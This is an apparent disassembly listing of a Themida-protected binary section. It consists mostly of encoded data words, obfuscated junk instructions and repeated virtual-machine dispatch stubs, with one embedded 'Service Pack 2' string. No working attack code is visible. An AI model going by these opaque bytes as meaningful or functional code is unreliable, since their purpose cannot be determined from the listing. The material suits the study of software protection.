9E4DF1F8h dd 650290F4h, 0ACB74F22h, 47430C41h, 0FD0693C8h, 49515918h dd 0D50044Bh, 42D53A54h, 0C7CA31FAh, 0D19A8F2Ch, 0DFA0BEC9h dd 47B2BD47h, 0D60B5DDCh, 22C7EDB5h, 9F5Bh, 6DA2EF00h dd 0A058720h, 0A96624BDh, 43CCC35Ch, 0DF305DF6h, 0DB13A292h dd 77105DB2h, 15AEFB14h, 0AE47947Bh, 8E22FE0h, 0A5D6B1B9h dd 0C8A54DF4h, 0F31C72F2h, 61697BEh, 2CD8F03Dh, 563849DCh dd 21A584B9h, 526925C0h, 3254333Bh, 1C2747E0h, 0E0331B6Ch dd 0F25D6847h, 2DD0B0A5h, 190522BCh, 57000000h, 55049314h dd 10EAA4F2h, 0F0711D7Dh, 434B47DFh, 1CE87FCCh, 52000000h dd 92F5FD14h, 0F147DF5Fh, 3E38BDE6h, 3A857ABEh, 8C4447A7h dd 187647DFh, 77F4AAF7h, 2F825h, 412F0000h, 0BBF01F72h dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 0E28952D4h, 4B951h dd 0CA010000h, 4EA8359h, 5C241487h, 718568h, 24348900h dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 55241C89h, 0DD6FE1BDh dd 81D5F748h, 47C1ECF5h, 5DEE89EBh, 60EE8146h, 4652CA5Dh dd 0EE81D6F7h, 0F04FC94Ch, 63B368h, 24248900h, 4240483h dd 481565Bh, 0EA123224h, 8438F7Fh, 1232BA52h, 53297FEAh dd 34FF5A08h, 0C4815B24h, 4, 5E2434FFh, 4C481h, 2EE90000h dd 0ABFFFD39h ; --------------------------------------------------------------------------- push ebp sbb al, 42h loc_5B02AF: ; CODE XREF: Themida_:005AFCC2j mov eax, 6154747h add eax, ebp loc_5B02B6: ; CODE XREF: Themida_:005AFCBDj mov edx, ecx jmp short loc_5B02DA ; --------------------------------------------------------------------------- align 4 dd 7 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B02DA: ; CODE XREF: Themida_:005B02B8j jmp loc_5B0842 ; --------------------------------------------------------------------------- jmp loc_5B083B ; --------------------------------------------------------------------------- push 61549A7h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6154A53h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6154BFEh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6154C76h jmp loc_583BD9 ; --------------------------------------------------------------------------- inc eax push ecx mov esi, 5BB4D871h push cs loc_5B0314: ; CODE XREF: Themida_:005B031Fj jnz short loc_5B032B cli lodsd adc al, 7Bh xchg eax, esp inc edi scasb fbstp tbyte ptr [eax] jecxz short loc_5B0314 retn 612Ch ; --------------------------------------------------------------------------- dd 0C3C861AEh db 4Ch, 0FFh, 66h ; --------------------------------------------------------------------------- loc_5B032B: ; CODE XREF: Themida_:loc_5B0314j sub ah, ch cwde dec dword ptr [edi+0A593380h] add al, [ebp-9B20B59h] sbb [edx], eax dec ecx inc edi enter 0FFFFC093h, 5Fh sub esp, esp push ecx and esi, [edx+18h] test edx, 0DF5FE1AAh mov dword ptr [edx], 0E9A2EBF6h movsb imul esi, [esi], 63h shl byte ptr [ebx+63h], 1 sti mov esp, 40B8A2h ; --------------------------------------------------------------------------- db 2 dup(0), 0Ah dd 0DF5F6B23h, 553AF347h, 495227BAh, 5869D5Ch, 6100D3F6h dd 60C053D5h, 49F3242Fh, 0AF5DDEF5h, 0DDB64744h, 0E4394EFEh dd 3F4A4DF4h, 0C5964ACh, 3F75h, 851D9E00h, 913771E2h, 23BCEA7Dh dd 47DF5F68h, 0CB4C858Eh, 0F9FEBBF8h, 7C0BBBD4h, 0FF47DFDAh dd 0C2CA89F4h, 49F322CDh, 62ADDE97h, 92F95A2Dh, 0A1A2EA7Dh dd 6CB924EBh, 40CFBC75h, 77A5380Bh, 92F5FD14h, 0F147DF5Fh dd 484253E6h, 127A92C7h, 8C7DF60h, 0B8D21DC4h, 3225C499h dd 0CE6D7C89h, 8DFB2853h, 96E34EB9h, 87462B39h, 0DEA40C7Fh dd 376C77C7h, 0A2EF206Eh, 96553C45h, 0F090D88Eh, 15D4DFC9h dd 0B7E02F5Ch, 9B863270h, 0A186190Dh, 0CD140289h, 39D6B8C1h dd 0BF503B04h, 1E0F48Ah, 4998B4DCh, 51564242h, 71975Bh dd 0EFA80000h, 66396EA1h, 0FD14A5D3h, 0DF5F92F5h, 53E6F147h dd 0D190757Eh, 0F29E7BC9h, 0B4737E49h, 0BD7C93FBh, 9FE99EA6h dd 8F9A4DF4h, 2866FFFCh, 0DD7968E7h, 34D9EBA0h, 30C6Dh dd 49C6CB00h, 0E62963FCh, 858A0099h, 1FF09F38h, 0BB5439D2h dd 0B7377E6Eh, 53EC39D6h, 0F18AD738h, 8A23709Fh, 0E4BE0B04h dd 0A8FA8D95h, 0AC894DF4h, 2D774D6h, 72DE0000h, 0AAC2F718h dd 47DF5FE1h, 46C9C27Bh, 60B853B3h, 0D5B347DFh, 8147DF5Fh dd 0BA4DC2C8h, 0DF60315Ah, 5F513A47h, 8A0B47DFh, 165550A1h dd 2BE4A8A3h, 57B823F6h, 0E848DB34h, 87DFA8A3h, 9C5B4A53h dd 0F2A0F894h, 0ABE0EB09h, 523A151Eh, 4AB588BDh, 0D3BB748Bh dd 6276073Ch, 0D5A5949Bh, 0B111A40Fh, 1005D81Dh, 0EB246768h dd 0E5EE0180h, 0BF642DB3h, 260F8h, 9D721F00h, 3AD5B750h dd 0D93654EDh, 739CF38Ch, 0F008D26h, 0BE3D2C2h, 0A7408D82h dd 45DE2BE4h, 0DE77C44Bh, 38125FB0h, 0A9A6E1E9h, 0F8D54DF4h dd 0C4931422h, 0B63A3248h, 0B8D6E77Ah, 8C952257h, 8DDEE6A5h dd 0B649F303h, 0C5C55EABh, 440A8B4Ah, 0D481B222h, 1B6C7433h dd 684DF4DBh, 34CDCA5Dh, 5D84B956h, 0B2F00CDCh, 2A0A33DCh dd 22F78AE9h, 656D2C19h, 500836FEh, 0BA3BFA05h, 0B0725F84h dd 74710419h, 0E01FFF8Ch, 7EEF747h, 15783148h, 5FF2C5FAh dd 0F36768FFh, 0D1909B49h, 908901BAh, 8DB10FFh, 95F90A9Dh dd 0FA942D7Ah, 373F5615h, 4DF4E650h, 0C3C72833h, 0B144174Ch dd 0E707B4CCh, 60F4DF4h, 3B58601Fh, 2850082Fh, 0E9A55E1Dh dd 48506726h, 47E0203Fh, 613595ABh, 9F375E7Dh, 0D040194h dd 6499EEF6h, 0DFEA47DFh, 0BC533B4Ch, 0C44B44FDh, 87344C31h dd 0F547DF64h, 2ABD523Ch, 0A6654C55h, 0F2ACC59Eh, 24E3EE49h dd 0B9EE216Bh, 2BE453E6h, 0C65FAC63h, 851247C8h, 0CED6957Ch dd 5007E9C1h, 4B72A7B2h, 8114FB92h, 0DF646A21h, 746D8947h dd 0BCFBA51Dh, 1D7222h, 14C40000h, 74BEF93h, 7C0F43A5h dd 0E05C6F1Ch, 5C34ED47h, 0D43FD0BDh, 73241h, 239C0000h dd 47DF7168h, 0C0A5AE35h, 1AD3EA01h, 92659A75h, 0DF5FA5E2h dd 38CBD647h, 0F2A793D8h, 0E6A5B049h, 555D5E2Dh, 4DF4A732h dd 7ADB4651h, 0F4C7FC13h, 0E6EF7C61h, 92D06441h, 4CB76EFDh dd 8B6D858Dh, 4D585006h, 0B29E93CEh, 0F3BA5FEDh, 0B5h dd 0A5F21D74h, 428F800Ch, 0E12EE1A9h, 7BC84748h, 1764ABE2h dd 2D608E27h, 8FFC95E2h, 0F69A3380h, 5B33CC19h, 3E8D67B4h dd 0F4AA5136h, 7F55324Dh, 19259314h, 1E54333Bh, 1C2747E0h dd 4D7C67F3h, 3A6FA0ECh, 0F6FFD467h, 0F697500Fh, 7E11E419h dd 0CA64070Fh, 545F49F2h, 0A689921Fh, 23F62BE4h, 6DF1F9B8h dd 585006D7h, 6DD83757h, 0B2E2E5EEh, 21E88DEDh, 3Dh, 2D7A95FCh dd 0CA17F894h, 69B65931h, 350BFD0h, 9FEC236Ah, 0A5E806AFh dd 7841D6Ah, 6E22BB08h, 0D3BB54A1h, 0C615EF3Ch, 0F4ABC9BEh dd 7DDBA4Dh, 874h, 5B14DE00h, 0E748DB34h, 0F01F72F9h, 739CF2BBh dd 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh dd 8B8406CFh, 10FF8D56h, 0EC81D4DBh, 4, 68241C89h, 549Dh dd 51243489h, 0C181E189h, 4, 8704E983h, 895C240Ch, 0BA52240Ch dd 6154832h, 24048152h, 499D4A65h, 65EE815Eh, 5A499D4Ah dd 4EC81h, 24890000h, 24048324h, 0BB535904h, 8, 0BA52CB01h dd 0 ; --------------------------------------------------------------------------- add edx, ebx mov [edx], esi pop edx pop ebx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_583BD9 ; --------------------------------------------------------------------------- dd 725DB46Ch, 0C36345D1h db 0AAh, 0A2h, 76h ; --------------------------------------------------------------------------- loc_5B083B: ; CODE XREF: Themida_:005B02DFj mov eax, 6154CD8h add eax, ebp loc_5B0842: ; CODE XREF: Themida_:loc_5B02DAj mov ecx, eax jmp loc_5B09AA ; --------------------------------------------------------------------------- db 0B0h, 0C3h, 0E7h dd 95ECE767h, 715893DAh, 0B6CFDF06h, 5D54FDBEh, 0ECA43636h dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h, 0AE29B0F3h dd 2Ch, 34h, 38h, 2 dup(0) dd 4, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h dd 3220h, 25h dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B09AA: ; CODE XREF: Themida_:005B0844j jmp loc_5B2A44 ; --------------------------------------------------------------------------- push 61550F4h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61551E9h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61552EFh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61553D1h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61554B7h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6155578h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6155642h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61556F2h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6155AABh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6155B11h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6155C56h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6155F97h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6156303h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615668Ch jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6156830h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6156897h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6156903h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6156960h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6156B02h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6156C49h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6156E1Bh jmp loc_583BD9 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 49C6h dd 0E62963FCh, 858A0099h, 1FF09F38h, 0BB5439D2h, 0B7377E6Eh dd 53EC39D6h, 0F18AD738h, 8A23709Fh, 0E4BE0B04h, 0AEFA8D95h dd 0AC894DF4h, 61B21495h, 0CA71EA44h, 0B4E92669h, 72204EE1h dd 0F5BEF31Ch, 0CC297699h, 171FDEC3h, 49F18C77h, 0B6CE030Eh dd 4DF18ED5h, 0A8DF021Eh, 24AECD28h, 3BFDh, 0A5AE4F00h dd 69EA01C0h, 0B31418E2h, 0E6E015Eh, 49F183B8h, 677FB4BFh dd 4DF18424h, 572EB3CFh, 24AEDA7Fh, 106ACh, 9EA6BD00h dd 4DF18FE9h, 1F54BBD1h, 0D7B3B44Ch, 0C3ACD38h, 0BEF31C72h dd 96981697h, 0AE78485Eh, 638CE628h, 0ED805D34h, 295EB1DCh dd 0ACE12E60h, 21666E85h, 6247DF63h, 0DBB3C457h, 37F0E734h dd 0C525B857h, 47DF5F03h, 0A98756D7h, 2EE9866Fh, 0B048A9Bh dd 0A66925BEh, 0F6DBE471h, 1092037h, 47DFEF86h, 46C1EAF5h dd 0A0EB014h, 27B313A6h, 6F49F211h, 95DB61EEh, 99CDC18h dd 2855F8C1h, 57115DA1h, 39429FECh, 0B7D48D4Ch, 0BD502358h dd 0BB40464Eh, 67205004h, 0F57EA25h, 30917E0Eh, 0A87BB05Fh dd 0E6677E3Dh, 0EA8B076Bh, 2637CAE3h, 0C25BA867h, 0E3C544CBh dd 0EFEDB32Eh, 1DD0834Ah, 137E0000h, 7616AFFCh, 0D7B34C99h dd 3D52EB38h, 0A1EC85D2h, 8431216Eh, 9FEC236Ah, 3D8A8506h dd 0D623ECA4h, 71BE513Dh, 47404897h, 344DF4AFh, 1B728157h dd 800EA7F4h, 924B428Fh, 0D4BE59F8h, 575AF38h, 0AED9079Ah dd 0EA01C0A5h, 0D0BE5B31h, 0CC370A3Fh, 0D131C497h, 49F17EF5h dd 0A8C0F500h, 4DF180E3h, 0B2BAD110h, 4DF180D5h, 8110777Fh dd 68734DF1h, 0E632C5D0h, 0DF3C94FBh, 0CCE924AEh, 3B000000h dd 92F5FD14h, 0F147DF5Fh, 80785E6h, 5C6D00D3h, 651EDD32h dd 0DEB1E629h, 6CFF107Dh, 0ECCFBE87h, 0DF5FA3E4h, 6AD5E047h dd 37550E35h, 3065AAE2h, 0EABDF25Dh, 5BD1F757h, 2B6347DFh dd 8739CEEh, 0A36C22BBh, 0E9D8E16Eh, 64B8222Ah, 1C2749F1h dd 7C6972CFh, 10DEB5BDh, 0BAC55004h, 0CE4B42FBh, 96E34EC1h dd 7F90FDh, 0EDB302A4h, 0DB4209AEh, 8900001Ch, 21BA0708h dd 0BE57A46Bh, 5DF643CCh, 0F790DD32h, 3C2C7996h, 0F7187579h dd 957A11AAh, 2EE1AF48h, 0C94648E1h, 4B53A27Ch, 4DF4B13Ch dd 148C623Fh, 21E02F5Bh, 0DF5F6E19h, 6F020D47h, 93E02F5Eh dd 0C3CC859Ch, 9444174Ch, 47DF5FF3h, 12FD8F90h, 8B0314A7h dd 72813784h, 0F0979F1Ch, 9347DF5Fh, 0C1E81D88h, 0F8948508h dd 424BAC17h, 65293ACDh, 1BD4EBAAh, 976A9F70h, 0DF5FA0E7h dd 45D8E347h, 9677D848h, 0E1E9A88Dh, 49F1756Dh, 16F99798h dd 0F9B450E1h, 4A026A42h, 432374DFh, 8960754Ch, 0FDBCA9B2h dd 0AD622DE6h, 3EE4BA1Ah, 0FAC3048Eh, 2F864F70h, 0E51A8511h dd 0A3624F58h, 52BDD38Ch, 57B74A1Dh, 680486Ch, 36D9B770h dd 2B052E01h, 0F54ACB5Dh, 308FD76Ah, 7BFA5F28h, 0A6111C02h dd 0BFC8D0E7h, 0BC027BFAh, 0F6AF1EB1h, 81BB998h, 92D322DBh dd 4D41DA27h, 0DD7143C2h, 0FCA15729h, 1BD535h, 10E8300h dd 9E711BB4h, 3DD2B851h, 0D73857F0h, 739CF18Ah, 6F7F3626h dd 0BA4F11Eh, 0A9428F80h, 42DB28E7h, 9C76C34Ch, 0B242454Dh dd 64414DF4h, 9F1C728Eh, 0DF5FF097h, 4EC1CA47h, 0B40ABB6h dd 0F49A757Eh, 5FC8BFC7h, 0B0BB47DFh, 41BDA45h, 5FA2E5EDh dd 82E147DFh, 0DF600D7Ah, 0F8636E47h, 5BC90565h, 0B1BC49F1h dd 0BE5139F2h, 2E45F889h, 0CB0EE9B1h, 0D9D0CD60h, 0DDAF6A20h dd 0BF2AFD32h, 3C24B78Ah, 10F5FE07h, 2B054951h, 0F5005004h dd 5E40C4A4h, 0ADB6886Fh, 9D0109C8h, 6111A375h, 4C7CAAE0h dd 3ACDD0E7h, 25B2E7F2h, 813A771Ch, 0FCEBB8BCh, 0F9CAD291h dd 0E30B9522h, 0D4B8612Ah, 0C89BD03Bh, 868EED35h, 0F910901h dd 4D0C7782h, 0C815FA94h, 31B05F2Fh, 2A040D59h, 0F32DF499h dd 0A100001Ah, 39D21FF0h, 0D66FBC53h, 750E5BB4h, 0FA8F51Ah dd 5444917Eh, 0F008D61h, 0AD6229C2h, 46C9C760h, 0E12E60F9h dd 636BBA94h, 4DF4B324h, 14A47A57h, 48DB345Bh, 83B85737h dd 4908EDF6h, 0F1858541h, 98E5F049h, 48512C28h, 0AEE32C63h dd 33A2B2DBh, 411A7354h, 7F0017D6h, 0FFDFA117h, 0EEF6B56Ch dd 4DF17299h, 0EC4CDFEAh, 50038862h, 5A499AA5h, 0CD4529D9h dd 6827E28Dh, 0DFE92760h, 0B6495447h, 66A1A756h, 0FFE6EFA3h dd 0A8663840h, 3641E699h, 866B7401h, 0B704BFC7h, 6E6FE4ABh dd 0E5B8ED22h, 8802BB7Ah, 0EC7F5287h, 87CAC47Dh, 7E108FE6h dd 7ECB3689h, 1F687087h, 5CE48790h, 0A7DC335Bh, 0C5D669D4h dd 80FF88C9h, 90E166F7h, 527B1439h, 6CCD31E7h, 0E3B6EB24h dd 7C9FF978h, 2ED3711Dh, 1A0D67h, 39D6BB00h, 0D63953ECh dd 759AF089h, 0F008F28h, 0AB6429C2h, 0A7476E5Eh, 43DC29E6h dd 0E17AC748h, 7A1360AFh, 0D4AEFB14h, 0B40A7D85h, 9C794DF4h dd 0F31C72C6h, 7B2831BEh, 0A0951561h, 1C5B5646h, 42A03059h dd 0E2EAA914h, 49F27074h, 9B0B5863h, 0F6DBE4C5h, 5E4B637h dd 0A4621012h, 0B49AA211h, 0D350037Dh, 958809C8h, 0CF52617Fh dd 0BBF01F6Ch, 0B6BE7DE8h, 47DFD5D1h, 1314A7B2h, 80803233h dd 0C6ABB442h, 399FFF07h, 7B864734h, 6DB0B946h, 30352265h dd 0EB566143h, 9C33AB2Ch, 0A9EE0BC3h, 249FA716h, 4F454225h dd 0C2CC8544h, 5009004Dh, 2B3CCF40h, 492DAC63h, 0A910F70Bh dd 194C3D04h, 97FA0000h, 0FA922B78h, 5B2FC815h, 0C1CE67B4h dd 2568014Eh, 8AD9DEAh, 1B68A7E6h, 0B9060982h, 529F7020h dd 0ED3AD5B9h, 0CBBCC413h, 0B84DF4B4h, 1C7205DBh, 2831BEF3h dd 0CCC17A39h, 267D0E43h, 78A7D02Ch, 0A00FA20Dh, 0F1A10298h dd 0B3DCDD49h, 7C93FB5Ch, 0BC097447h, 50EF74Ch, 0F5596120h dd 105003ABh, 0D8C54605h, 0F3191EE9h, 1807089Bh, 0C8242D5Fh dd 67C62EDDh, 90F083EEh, 0B40665BEh, 8F4E333Ch, 0BA711787h dd 0FF46C7DDh, 0D431F7A3h, 9DA8F083h, 0E3D2DB68h, 82050D24h dd 70DDB9D9h, 0F632AFC4h, 1B26BE1Ah, 3871BEF2h, 6D001EB4h dd 55CDF6FEh, 2B36DFCCh, 34DBB36Ch, 0CF404EE7h, 7D5A1A50h dd 6C33D87Eh, 1882h, 61AE6130h, 0FE4BC4C8h, 9DEA2565h dd 37848B04h, 0D320EF9Eh, 711CD2E3h, 0D3B8519Eh, 3A56EF3Ch dd 9FEF88D5h, 0FA492370h, 0F4B595F2h, 3309E64Dh, 0BEF31C72h dd 5FB0DE97h, 98F6572Ah, 0DC6F4277h, 6F21FE07h, 37986BA0h dd 8F4EB956h, 715C850Eh, 6E204B9Eh, 2E996CA1h, 95242C9Bh dd 3249F39Fh, 89B25D31h, 51B2E644h, 39F863D1h, 0B4010E80h dd 0F4D86BCCh, 0D4C1CB4Dh, 6FA0EE87h, 0D5BCC522h, 25AB0E16h dd 0D185008h, 18F7954Eh, 25FFD859h, 57259FF7h, 0DAA35353h dd 0DC6FDA3Fh, 0C94646DFh, 4CC3CB94h, 0B54295CDh, 0F1B85DEDh dd 17D2h, 0B1FE1180h, 4E9B7418h, 0ED3AD5B5h, 87D43B54h dd 23709FEEh, 216C8233h, 8308A1EEh, 0EAA63F8Ch, 4F3FD825h dd 4A9973C0h, 0F4B54542h, 8359364Dh, 1C0A5AEh, 0BF5A31EAh dd 9FD43FD0h, 0E0D939CCh, 0BF49F2ADh, 0AADD4CF6h, 22834631h dd 9A6DA26Dh, 0D7B7702Fh, 0CAC07938h, 0AA3D1045h, 594650ADh dd 4C29929Ah, 8F9A4DF5h, 4B4C425Ah, 1B724DF5h, 95F6BFF4h dd 1172457Ah, 6360957Ah, 6727C21Fh, 0F9153DA8h, 0E21A1E8h dd 77F624A9h, 48000000h, 0BFA4AEh, 5FA6E1E9h, 0D4D547DFh dd 56E954BBh, 5FA4DFE7h, 0C4CF47DFh, 6014778Fh, 0A0DF47DFh dd 0D568A7E7h, 51315889h dd 1922BCE2h, 71068598h, 93264D8Eh, 3D91h, 6B23E300h, 0F347DF5Fh dd 5FB3D4DCh, 71D047DFh, 0DF601E69h, 0E7525D47h, 99767F54h dd 16E91EF1h, 0BED5ECABh, 0DF5FD1B6h, 14A7B247h, 0F174FAB4h dd 0C3828D49h, 5437A242h, 9C2FF285h, 0A5AEE99Fh, 1F901C0h dd 1C49F160h, 35A06F1Bh, 42CDBD76h, 0C2A73A0Dh, 0BB7A95F9h dd 0F2858A02h, 0DD325CF5h, 61AEDFA8h, 4838BA2h, 774DF160h dd 5EF4D96Ch, 424C974Ah, 0A7E780CDh, 9DA63368h, 0D078F9B8h dd 0CC7D2609h, 1E35A437h, 0CE414E07h, 0F1D2691Eh, 7C0F1A4Dh dd 3F4321Ch, 8B4A5550h, 0F556B9D2h, 70437897h, 4747E0DDh dd 2D7B93C8h, 0BADF945Fh, 8FC2CA83h, 27419EB5h, 0ED228DA8h dd 0A63B871Ah, 6FBC533Bh, 3ED1BF78h, 0B6D53609h, 0BE512459h dd 0F92EE1ADh, 0D5BA5F30h, 0ADA9DEE6h, 0CFDAC015h, 1CC4F964h dd 5836B130h, 0BA736AB7h, 32053AD5h, 0F008E9Fh, 5D444DDAh dd 0CA94969Eh, 530CC227h, 0D49DD23Dh, 57EA55BAh, 1EB7040Fh dd 436A9F70h, 0C963242Ch, 5720C603h, 23A7C54Fh, 932691C7h dd 47060982h, 0F7187730h, 483FEFC2h, 0AAC603CCh, 3ED7131Fh dd 0D3DE76B8h, 0B1C55B40h, 0ED9E5730h, 871AED22h, 38F71876h dd 7B4D7BB7h, 0D7D1C425h, 4381FC6h, 817E117Ch, 54BBD18Ah dd 31DEB0C1h, 0C1666FFCh, 0B6B4E242h, 0F39DFE39h, 0EAF2B11Ch dd 0C8163918h, 0C7C0C827h, 0B4C01642h, 58F13EA9h, 611AD936h dd 6A4FE22Dh, 0D152C43h, 0C016427Ah, 394EFE09h, 4AC01643h dd 42A4E3EBh, 0CCD7C016h, 1D6ECE61h, 9DB01643h, 23EC21EEh dd 32DDB069h, 2FB392C7h, 0B6D1D9B2h, 0C5B01642h, 76BA4FBAh dd 10E806Bh, 9A751BB4h, 28F19C65h, 0D42AD62h, 92C74844h dd 194EC1C9h, 0B62BB63Ah, 0BB26BB3Fh, 54ED3AD5h, 62ADDD3Ch dd 0E29BC2F7h, 0C0D164ABh, 750B40CFh, 2B658061h, 1FA097E4h dd 7A2F11C7h, 96A73A36h, 53E015FAh, 1B9C5B4Ah, 152D99C9h dd 513E9F72h, 23B689BEh, 0ACE49DB4h, 0EB9CA463h, 98B01577h dd 609AFA8Dh, 3FB22778h, 5736FF34h, 0D6BA83B8h, 5A6E0439h dd 26125287h, 0AF6030BBh, 4AC5C962h, 0CD424C15h, 0AC35B998h dd 75C24D41h, 98E60080h, 28D54Ch, 72270000h, 95BCF11Eh dd 295EB1DCh, 0E5EEC356h, 2884100h, 30B7A0Dh, 49F16B7Fh dd 32DDADAEh, 72BF2AFDh, 12DBh, 1E724500h, 262FBCF1h, 2A78803Fh dd 1549F173h, 9B07BD0Ah, 0F7C35A8h, 97F8CB00h, 13E61BF4h dd 5FA2AB80h, 0DF603057h, 0DD485347h, 7538161Eh, 444F49F1h dd 897413F3h, 717A6122h, 810CC584h, 848CFB8Eh, 3C927A1Ah dd 20ADE2EDh, 636B2A17h, 3EA4A660h, 10C98893h, 19D2917Eh dd 90639877h, 276700FDh, 8A1769E8h, 16BB1F14h, 14194Fh dd 45CAC700h, 0E22D5FF8h, 818EFC95h, 1BF49B34h, 0B75835CEh dd 0B33B7A6Ah, 4FE835DAh, 0ED86D33Ch, 861F6CA3h, 0E0BA0708h dd 0B9FE8991h, 0A07D4DF4h, 5E6423CAh, 818A47DFh, 25CDD594h dd 1049F16Eh, 0FF8D4605h, 7508DB10h, 0CC434D06h, 65AAE67Fh dd 2A276730h, 0B7538FA3h, 1392FDC4h, 0EBA7CFC7h, 0B3FFC66Bh dd 61000013h, 0F992DF30h, 962F7C93h, 35CE1BF4h, 0CF68B55Ah dd 140451BEh, 0CF404DA1h, 6DA2E982h, 6098720h, 0A16E20B9h dd 232B7A54h, 4DF4BA64h, 0AE643A17h, 0F901C0A5h, 49F16CF9h dd 0A9DEE6FDh, 0DA4DF16Eh, 79CA7D11h, 8738041h, 0D24A24DFh dd 5FF22CC2h, 324C4E17h, 0BA883CAAh, 1F48946Ch, 0EC57B75Dh dd 0F31C742Dh, 0E958EBBEh, 66B35C30h, 1B50BFCDh, 9ED33C52h dd 0CD70AF6h, 0D2428F80h, 8065719Ch, 2CBF402Fh, 0E1FDCA22h dd 0F44CBC1h, 2070D13Ch, 414B5CEFh, 0D8199CEh, 5E4DF1E8h dd 0F619762Fh, 0F5BEEC1h, 8A00B9D2h, 0A38753C7h, 65D0B6E4h dd 0F0CBC1D2h, 0F1BC9FE8h, 0DAADB54Dh, 0A94DF1BCh, 90FB069Eh dd 2D354C43h, 4DF1BC5Ah, 7A8B1E29h, 0A1C8FD12h, 0B2364420h dd 131BF945h, 4DF1FE74h, 0D291FC07h, 0F1FEBDCAh, 20B3BE4Dh dd 9453424Bh, 54D0D8Ch, 30EFFA50h, 0ABF81777h, 5E937C12h dd 0ABE3C8D1h, 813AF964h, 372050Ah, 0FA751DFBh, 8BFF0049h dd 117C4F84h, 1AF59952h, 23ECA25Bh, 94FA9390h, 0B04F46BDh dd 43AE0806h, 8978810Eh, 2DB0C2CAh, 0D4DF5004h, 0B5153F55h dd 470EB3EDh, 126Eh, 4D9A751Ch, 0EA37D8B4h, 89D63951h dd 23709FF0h, 0BF0C038Ah, 8508E6CFh, 0E7A43D8Ah, 4E42DB28h dd 0B3DB74C1h, 0E6350F5Ch, 0F4BBA9DEh, 27FDDA4Dh, 0DF5F9F23h dd 0C44B4547h, 66111A77h, 0CEA73E4Fh, 7EEF2884h, 639D5107h dd 0B7CE8DF8h, 28B8EFEh, 9A6DA20Dh, 0E769A707h, 8B5449F2h dd 288DF36h, 0DC05D80Dh, 0C7323B82h, 9EE9F108h, 0DD4DF541h dd 17D03FD2h, 994F9C73h, 3CEABE16h, 9F7DFE23h, 1B3C57DDh dd 4FE3E578h, 0F4000001h, 5F67543Bh, 48602128h, 52E5505Bh dd 0BDA6AE24h, 820C143Fh, 7347DF5Fh, 5B140A88h, 0D4A7DC33h dd 3ABBD241h, 7AA734Ch, 0EC1AAD1Eh, 0AE23A937h, 4AC5C5A0h dd 59D74215h, 0E9305B14h, 603368A7h, 5AEDC0F5h, 0A2AE0DF3h dd 0D4823BB9h, 0BCEACE16h, 535B25h, 0AEAD0000h, 43FCBBA0h dd 230C34Ch, 65E6FD14h, 0ECC46932h, 6F18C818h, 0C47E01Eh dd 800E6E01h, 747E01Eh, 93147EFCh, 0FE91E965h, 0B423B66Eh dd 0F71872DEh, 10E7F38h, 323AF9CCh, 47DF5F55h, 5A881B26h dd 9141C251h, 695865E6h, 749BC95Ch, 3Ah, 0BBA0AEDEh, 0C64943FCh dd 0C140533h, 47DF5F82h, 0B2C98873h, 0DF5FDDAAh, 7D770D47h dd 28F58C7Fh, 3E5C8590h, 0CCBBB87Ch, 143866F9h, 0C64944FDh dd 0FD2BBE91h, 79F71872h, 0CE160351h, 0EE25BCEAh, 23B65935h dd 3B21h, 0A2AE7300h, 587E9EFBh, 8DF842BCh, 987715CEh dd 0C14D705h, 47DF5F82h, 147CFA05h, 0A4E7325Bh, 0F863366Bh dd 0EE5DF0C3h, 0F51A7218h, 0FD127D36h, 3462F5C8h, 1D740351h dd 0DE000000h, 3BB9A2AEh, 5F820C14h, 887347DFh, 927D10C9h dd 0C9F78A5Dh, 1A723E14h, 35177F5h, 0FFFE9F74h, 0A5AEDEFFh dd 0D97C1D02h, 0BC27358Dh, 0EBC27CFDh, 0C88F9834h, 0DF95C7C0h dd 3EA9B447h, 0CC5FB0DDh, 0E464555Dh, 384349F2h, 41CEC079h dd 4BC4C982h, 0B3B04316h, 888703BCh, 18ED8053h, 5A62210Eh dd 4DF4D82Dh, 6D84434Eh, 0F4D82265h, 0C356614Dh, 0D7C3C6DEh dd 97F74DF4h, 127A4378h, 1E32C8FDh, 0DAF61EC3h, 9A008007h 